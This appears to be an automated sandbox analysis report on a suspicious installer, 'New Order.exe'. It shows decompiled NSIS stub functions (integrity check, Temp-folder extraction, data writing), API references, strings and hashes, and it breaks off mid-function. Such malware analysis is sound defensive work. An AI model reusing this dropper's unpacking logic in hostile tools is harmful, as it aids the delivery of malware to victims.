				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				int _t37;
				int _t38;
				int _t42;
				char _t62;
				CHAR* _t64;
				signed char _t68;
				CHAR* _t79;
				intOrPtr _t81;
				CHAR* _t85;

				_t81 =  *0x423f50;
				_t20 = E00405F28(3);
				_t88 = _t20;
				if(_t20 == 0) {
					_t79 = 0x420538;
					"1033" = 0x7830;
					E00405A7F(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420538, 0);
					__eflags =  *0x420538;
					if(__eflags == 0) {
						E00405A7F(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407342, 0x420538, 0);
					}
					lstrcatA("1033", _t79);
				} else {
					E00405AF6("1033",  *_t20() & 0x0000ffff);
				}
				E004038B4(_t76, _t88);
				_t84 = "C:\\Users\\jones\\AppData\\Local\\Temp";
				 *0x423fc0 =  *0x423f58 & 0x00000020;
				 *0x423fdc = 0x10000;
				if(E0040576C(_t88, "C:\\Users\\jones\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E0040576C(_t96, _t84) == 0) {
						E00405BBA(0, _t79, _t81, _t84,  *((intOrPtr*)(_t81 + 0x118)));
					}
					_t28 = LoadImageA( *0x423f40, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x423728 = _t28;
					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E004038B4(_t76, __eflags);
							__eflags =  *0x423fe0;
							if( *0x423fe0 != 0) {
								_t31 = E00404F56(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42370c;
								if( *0x42370c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420510, 5);
							_t37 = E00405EBA("RichEd20");
							__eflags = _t37;
							if(_t37 == 0) {
								E00405EBA("RichEd32");
							}
							_t85 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t85, 0x4236e0);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x4236e0);
								 *0x423704 = _t85;
								RegisterClassA(0x4236e0);
							}
							_t42 = DialogBoxParamA( *0x423f40,  *0x423720 + 0x00000069 & 0x0000ffff, 0, E00403981, 0);
							E0040353B(E0040140B(5), 1);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t76 =  *0x423f40;
						 *0x4236f4 = _t28;
						_v20 = 0x624e5f;
						 *0x4236e4 = E00401000;
						 *0x4236f0 =  *0x423f40;
						 *0x423704 =  &_v20;
						if(RegisterClassA(0x4236e0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x420510 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423f40, 0);
						goto L21;
					}
				} else {
					_t76 =  *(_t81 + 0x48);
					if(_t76 == 0) {
						goto L16;
					}
					_t79 = 0x422ee0;
					E00405A7F( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) +  *0x423f78, 0x422ee0, 0);
					_t62 =  *0x422ee0; // 0x43
					if(_t62 == 0) {
						goto L16;
					}
					if(_t62 == 0x22) {
						_t79 = 0x422ee1;
						 *((char*)(E004056B6(0x422ee1, 0x22))) = 0;
					}
					_t64 = lstrlenA(_t79) + _t79 - 4;
					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
						L15:
						E00405B98(_t84, E0040568B(_t79));
						goto L16;
					} else {
						_t68 = GetFileAttributesA(_t79);
						if(_t68 == 0xffffffff) {
							L14:
							E004056D2(_t79);
							goto L15;
						}
						_t96 = _t68 & 0x00000010;
						if((_t68 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x004035f1
0x004035fa
0x00403601
0x00403603
0x00403617
0x00403629
0x00403633
0x00403638
0x0040363e
0x00403651
0x00403651
0x0040365c
0x00403605
0x00403610
0x00403610
0x00403661
0x0040366b
0x00403674
0x00403679
0x0040368a
0x00403711
0x00403719
0x00403722
0x00403722
0x00403738
0x0040373e
0x0040374c
0x004037db
0x004037e3
0x004037ed
0x004037f2
0x004037f8
0x00403882
0x00403887
0x00403889
0x004038a5
0x00000000
0x004038a5
0x0040388b
0x00403891
0x00403899
0x00403899
0x00000000
0x00403891
0x00403806
0x00403811
0x00403816
0x00403818
0x0040381f
0x0040381f
0x0040382a
0x00403832
0x00403834
0x00403836
0x0040383f
0x00403842
0x00403848
0x00403848
0x00403867
0x00403878
0x00000000
0x0040387d
0x004037e5
0x004037e7
0x00000000
0x00403752
0x00403752
0x00403758
0x00403762
0x0040376a
0x00403774
0x0040377a
0x00403788
0x004038aa
0x004038aa
0x00000000
0x004038aa
0x0040378e
0x00403797
0x004037d6
0x00000000
0x004037d6
0x00403690
0x00403690
0x00403695
0x00000000
0x00000000
0x0040369f
0x004036af
0x004036b4
0x004036bb
0x00000000
0x00000000
0x004036bf
0x004036c1
0x004036ce
0x004036ce
0x004036d6
0x004036dc
0x00403704
0x0040370c
0x00000000
0x004036ee
0x004036ef
0x004036f8
0x004036fe
0x004036ff
0x00000000
0x004036ff
0x004036fa
0x004036fc
0x00000000
0x00000000
0x00000000
0x004036fc
0x004036dc

APIs

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?), ref: 00405F55

lstrcatA.KERNEL32(1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000,00000003,C:\Users\user\AppData\Local\Temp\,?,"C:\Users\user\Desktop\New Order.exe" ,00000000), ref: 0040365C
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000,00000003,C:\Users\user\AppData\Local\Temp\), ref: 004036D1
lstrcmpiA.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000), ref: 004036E4
GetFileAttributesA.KERNEL32(Call), ref: 004036EF
LoadImageA.USER32 ref: 00403738

Part of subcall function 00405AF6: wsprintfA.USER32 ref: 00405B03

RegisterClassA.USER32 ref: 0040377F
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 00403797
CreateWindowExA.USER32 ref: 004037D0
ShowWindow.USER32(00000005,00000000), ref: 00403806
GetClassInfoA.USER32 ref: 00403832
GetClassInfoA.USER32 ref: 0040383F
RegisterClassA.USER32 ref: 00403848
DialogBoxParamA.USER32 ref: 00403867

Strings

RichEd32, xrefs: 0040381A
Control Panel\Desktop\ResourceLocale, xrefs: 0040361F
_Nb, xrefs: 0040378E, 00403793
1033, xrefs: 0040360B, 00403657
C:\Users\user\AppData\Local\Temp, xrefs: 0040366B, 00403673, 0040370B, 00403711, 00403721
Call, xrefs: 0040369F, 004036A7, 004036B4, 004036FE, 00403704
RichEdit20A, xrefs: 0040382A, 00403830
RichEd20, xrefs: 0040380C
RichEdit, xrefs: 00403839
.exe, xrefs: 004036DE
C:\Users\user\AppData\Local\Temp\, xrefs: 004035F7
6B, xrefs: 00403747
"C:\Users\user\Desktop\New Order.exe" , xrefs: 004035EF
.DEFAULT\Control Panel\International, xrefs: 00403647

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\New Order.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb$6B
API String ID: 1975747703-3902415054
Opcode ID: 6d9bdf85a822e0f9bb9c4e2fcc7d2e939be480c33988b3e2c2e3dba5f36146f3
Instruction ID: 6624008b3449f808402c67b3262d240ca0850aee1e0dcbc9c28568ef27b6b269
Opcode Fuzzy Hash: 6d9bdf85a822e0f9bb9c4e2fcc7d2e939be480c33988b3e2c2e3dba5f36146f3
Instruction Fuzzy Hash: 6A61E9B17002047EE620AF619D45E3B7ABCEB4474AF40457FF941B22E2D77D9E428A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402C55, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00402C55(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				long _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				long _t70;
				void* _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				void* _t85;
				signed int _t87;
				void* _t89;
				long _t90;
				long _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\jones\\Desktop\\New Order.exe";
				 *0x423f4c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\jones\\Desktop\\New Order.exe", 0x400);
				_t89 = E0040586F(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409014 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\jones\\Desktop";
				E00405B98("C:\\Users\\jones\\Desktop", _t91);
				E00405B98(0x42c000, E004056D2(_t92));
				_t50 = GetFileSize(_t89, 0);
				 *0x41f0e8 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402BF1(1);
					if( *0x423f54 == _t82) {
						goto L29;
					}
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E004030B3( *0x423f54 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402E8E(); // executed
						if(_t57 == _v24) {
							 *0x423f50 = _t94;
							 *0x423f58 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x423f5c =  *0x423f5c + 1;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405830(0x423f60, _t94 + 4, 0x40);
							return 0;
						}
						goto L29;
					}
					E004030B3( *0x40b0d8);
					if(E00403081( &_a4, 4) == 0 || _v12 != _a4) {
						goto L29;
					} else {
						goto L28;
					}
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x423f54) & 0x00007e00) + 0x200;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E00403081(0x4170e8, _t90); // executed
						if(_t71 == 0) {
							E00402BF1(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x423f54 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E00402BF1(0);
							}
							goto L20;
						}
						E00405830( &_v44, 0x4170e8, 0x1c);
						_t77 = _v44;
						if((_t77 & 0xfffffff0) == 0 && _v40 == 0xdeadbeef && _v28 == 0x74736e49 && _v32 == 0x74666f73 && _v36 == 0x6c6c754e) {
							_a4 = _a4 | _t77;
							_t87 =  *0x40b0d8; // 0x8600
							 *0x423fe0 =  *0x423fe0 | _a4 & 0x00000002;
							_t80 = _v20;
							 *0x423f54 = _t87;
							if(_t80 > _t93) {
								goto L29;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v8 = _v8 + 1;
								_t93 = _t80 - 4;
								if(_t90 > _t93) {
									_t90 = _t93;
								}
								goto L20;
							} else {
								break;
							}
						}
						L20:
						if(_t93 <  *0x41f0e8) {
							_v12 = E00405F97(_v12, 0x4170e8, _t90);
						}
						 *0x40b0d8 =  *0x40b0d8 + _t90;
						_t93 = _t93 - _t90;
					} while (_t93 > 0);
					_t82 = 0;
					goto L24;
				}
			}

0x00402c5d
0x00402c60
0x00402c63
0x00402c66
0x00402c6c
0x00402c7d
0x00402c82
0x00402c95
0x00402c9a
0x00402c9d
0x00402ca3
0x00000000
0x00402ca5
0x00402cb0
0x00402cb6
0x00402cc7
0x00402cce
0x00402cd6
0x00402cdb
0x00402cdd
0x00402dca
0x00402dcc
0x00402dd8
0x00000000
0x00000000
0x00402ddd
0x00402e01
0x00402e06
0x00402e0c
0x00402e17
0x00402e1c
0x00402e1f
0x00402e20
0x00402e21
0x00402e23
0x00402e2b
0x00402e42
0x00402e4a
0x00402e4f
0x00402e51
0x00402e51
0x00402e59
0x00402e59
0x00402e5c
0x00402e5d
0x00402e5d
0x00402e60
0x00402e62
0x00402e62
0x00402e6c
0x00402e72
0x00402e80
0x00000000
0x00402e85
0x00000000
0x00402e2b
0x00402de5
0x00402df7
0x00000000
0x00000000
0x00000000
0x00000000
0x00402ce3
0x00402ce8
0x00402ced
0x00402cf1
0x00402cf8
0x00402cff
0x00402d01
0x00402d01
0x00402d05
0x00402d0c
0x00402e36
0x00402e2d
0x00000000
0x00402e2d
0x00402d19
0x00402d99
0x00402d9d
0x00402da2
0x00000000
0x00402d99
0x00402d22
0x00402d27
0x00402d2f
0x00402d55
0x00402d5b
0x00402d64
0x00402d6a
0x00402d6f
0x00402d75
0x00000000
0x00000000
0x00402d7f
0x00402d87
0x00402d8a
0x00402d8f
0x00402d91
0x00402d91
0x00000000
0x00000000
0x00000000
0x00000000
0x00402d7f
0x00402da3
0x00402da9
0x00402db5
0x00402db5
0x00402db8
0x00402dbe
0x00402dc0
0x00402dc8
0x00000000
0x00402dc8

APIs

GetTickCount.KERNEL32 ref: 00402C66
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\New Order.exe,00000400), ref: 00402C82

Part of subcall function 0040586F: GetFileAttributesA.KERNELBASE(00000003,00402C95,C:\Users\user\Desktop\New Order.exe,80000000,00000003), ref: 00405873
Part of subcall function 0040586F: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405895

GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\New Order.exe,C:\Users\user\Desktop\New Order.exe,80000000,00000003), ref: 00402CCE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00402C5F
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E2D
C:\Users\user\Desktop\New Order.exe, xrefs: 00402C6C, 00402C7B, 00402C8F, 00402CAF
Error launching installer, xrefs: 00402CA5
pA, xrefs: 00402CE3
"C:\Users\user\Desktop\New Order.exe" , xrefs: 00402C55
Null, xrefs: 00402D4C
Inst, xrefs: 00402D3A
C:\Users\user\Desktop, xrefs: 00402CB0, 00402CB5, 00402CBB
soft, xrefs: 00402D43

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\New Order.exe" $C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\New Order.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$pA
API String ID: 4283519449-3507448647
Opcode ID: d74ddf077dad9ccce0d63da47009af9ced08a9d3a58e0b3746407ee1fc4199ad
Instruction ID: 62828f2e2b01cd2e9021f71d1007b468b6294b04ed91f3cf43b909f99e7c5814
Opcode Fuzzy Hash: d74ddf077dad9ccce0d63da47009af9ced08a9d3a58e0b3746407ee1fc4199ad
Instruction Fuzzy Hash: C151E371E00214ABDB209F64DE89B9E7BB4EF04355F20403BF904B62D1C7BC9E458A9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401751, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401751(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E00402A29(0x31);
				 *(_t85 - 0xc) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x28) & 0x00000007;
				_t33 = E004056F8(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E0040568B(E00405B98(0x409c10, "C:\\Users\\jones\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409c10);
					E00405B98();
				}
				E00405DFA(0x409c10);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405E93(0x409c10);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x1c);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405850(0x409c10);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E0040586F(0x409c10, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 8) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404E84(0xffffffe2,  *(_t85 - 0xc));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x423fc8;
						goto L32;
					} else {
						E00405B98(0x40a410, 0x425000);
						E00405B98(0x425000, 0x409c10);
						E00405BBA(_t75, 0x40a410, 0x409c10, "C:\Users\jones\AppData\Local\Temp\nssD6D3.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x14)));
						E00405B98(0x425000, 0x40a410);
						_t62 = E00405459("C:\Users\jones\AppData\Local\Temp\nssD6D3.tmp\System.dll",  *(_t85 - 0x28) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x423fc8 =  &( *0x423fc8->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409c10);
								_push(0xfffffffa);
								E00404E84();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404E84(0xffffffea,  *(_t85 - 0xc));
				 *0x423ff4 =  *0x423ff4 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 8));
				_push( *((intOrPtr*)(_t85 - 0x20)));
				_t43 = E00402E8E(); // executed
				 *0x423ff4 =  *0x423ff4 - 1;
				__eflags =  *(_t85 - 0x1c) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 8), _t85 - 0x1c, _t75, _t85 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t85 - 8)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00405BBA(_t75, _t80, 0x409c10, 0x409c10, 0xffffffee);
					} else {
						E00405BBA(_t75, _t80, 0x409c10, 0x409c10, 0xffffffe9);
						lstrcatA(0x409c10,  *(_t85 - 0xc));
					}
					_push(0x200010);
					_push(0x409c10);
					E00405459();
					goto L29;
				}
				goto L33;
			}

0x00401751
0x00401758
0x00401761
0x00401764
0x00401767
0x0040176c
0x00401774
0x00401790
0x00401776
0x00401776
0x00401777
0x00401777
0x00401796
0x004017a0
0x004017a0
0x004017a4
0x004017a7
0x004017ac
0x004017ae
0x004017b0
0x004017b5
0x004017b5
0x004017c0
0x004017c0
0x004017d1
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d7
0x004017da
0x004017dd
0x004017dd
0x004017e4
0x004017f3
0x004017f8
0x004017fb
0x004017fe
0x00000000
0x00000000
0x00401800
0x00401803
0x0040185d
0x00401862
0x004015a8
0x0040268f
0x0040268f
0x004028be
0x004028c1
0x004028c1
0x00000000
0x00401805
0x0040180b
0x00401816
0x00401823
0x0040182e
0x00401844
0x00401844
0x00401847
0x00000000
0x0040184d
0x0040184d
0x0040184e
0x0040186b
0x004028c7
0x004028c7
0x004028c7
0x00401850
0x00401850
0x00401851
0x00401492
0x00402241
0x00402241
0x00402241
0x0040184e
0x00401847
0x004028c9
0x004028cd
0x004028cd
0x0040187b
0x00401880
0x00401886
0x00401887
0x00401888
0x0040188b
0x0040188e
0x00401893
0x00401899
0x0040189d
0x0040189f
0x004018a7
0x004018b3
0x004018a1
0x004018a1
0x004018a5
0x00000000
0x00000000
0x004018a5
0x004018bc
0x004018c2
0x004018c4
0x00000000
0x004018ca
0x004018ca
0x004018cd
0x004018e5
0x004018cf
0x004018d2
0x004018db
0x004018db
0x004018ea
0x004018ef
0x0040223c
0x00000000
0x0040223c
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405B98: lstrcpynA.KERNEL32(?,?,00000400,004031A9,00423740,NSIS Error), ref: 00405BA5

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

Strings

C:\Users\user\AppData\Local\Temp\nssD6D3.tmp, xrefs: 0040179B, 0040180A, 00401828
C:\Users\user\AppData\Local\Temp, xrefs: 0040177E
Call, xrefs: 0040176D, 00401776, 00401783, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF
C:\Users\user\AppData\Local\Temp\nssD6D3.tmp\System.dll, xrefs: 0040181E, 0040183A

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nssD6D3.tmp$C:\Users\user\AppData\Local\Temp\nssD6D3.tmp\System.dll$Call
API String ID: 1941528284-1875396526
Opcode ID: 1d83eeb157989370eef6aca95033163bd7760edd2b6c2f47f904ee0373184e1d
Instruction ID: ec6d4e4deed358595fa2340d5a7c786697911580d52a45c2a3a5a43c8a45cd53
Opcode Fuzzy Hash: 1d83eeb157989370eef6aca95033163bd7760edd2b6c2f47f904ee0373184e1d
Instruction Fuzzy Hash: 1C41E531900515BADF107FB5CC45EAF3679EF02329B60863BF425F10E2D67C9A418A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8E, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00402E8E(int _a4, void* _a8, long _a12, int _a16, signed char _a19) {
				signed int _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				char _v88;
				void* _t62;
				void* _t63;
				intOrPtr _t74;
				long _t75;
				int _t78;
				void* _t88;
				void* _t93;
				long _t96;
				signed int _t97;
				long _t98;
				int _t99;
				void* _t100;
				long _t101;
				void* _t102;

				_t97 = _a16;
				_t93 = _a12;
				_v12 = _t97;
				if(_t93 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t88 = _t93;
				if(_t93 == 0) {
					_t88 = 0x40f0e0;
				}
				_t60 = _a4;
				if(_a4 >= 0) {
					E004030B3( *0x423f98 + _t60);
				}
				_t62 = E00403081( &_a16, 4); // executed
				if(_t62 == 0) {
					L34:
					_push(0xfffffffd);
					goto L35;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t93 == 0) {
							while(_a16 > 0) {
								_t98 = _v12;
								if(_a16 < _t98) {
									_t98 = _a16;
								}
								if(E00403081(0x40b0e0, _t98) == 0) {
									goto L34;
								} else {
									if(WriteFile(_a8, 0x40b0e0, _t98,  &_a12, 0) == 0 || _t98 != _a12) {
										L29:
										_push(0xfffffffe);
										L35:
										_pop(_t63);
										return _t63;
									} else {
										_v8 = _v8 + _t98;
										_a16 = _a16 - _t98;
										continue;
									}
								}
							}
							L45:
							return _v8;
						}
						if(_a16 < _t97) {
							_t97 = _a16;
						}
						if(E00403081(_t93, _t97) != 0) {
							_v8 = _t97;
							goto L45;
						} else {
							goto L34;
						}
					}
					_v16 = GetTickCount();
					E00406005(0x40b050);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L45;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E00403081(0x40b0e0, _t99) == 0) {
							goto L34;
						}
						_a16 = _a16 - _t99;
						 *0x40b068 = 0x40b0e0;
						 *0x40b06c = _t99;
						while(1) {
							 *0x40b070 = _t88;
							 *0x40b074 = _v12; // executed
							_t74 = E00406025(0x40b050); // executed
							_v24 = _t74;
							if(_t74 < 0) {
								break;
							}
							_t100 =  *0x40b070; // 0x40f0e0
							_t101 = _t100 - _t88;
							_t75 = GetTickCount();
							_t96 = _t75;
							if(( *0x423ff4 & 0x00000001) != 0 && (_t75 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v88, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E00404E84(0,  &_v88);
								_v16 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L45;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
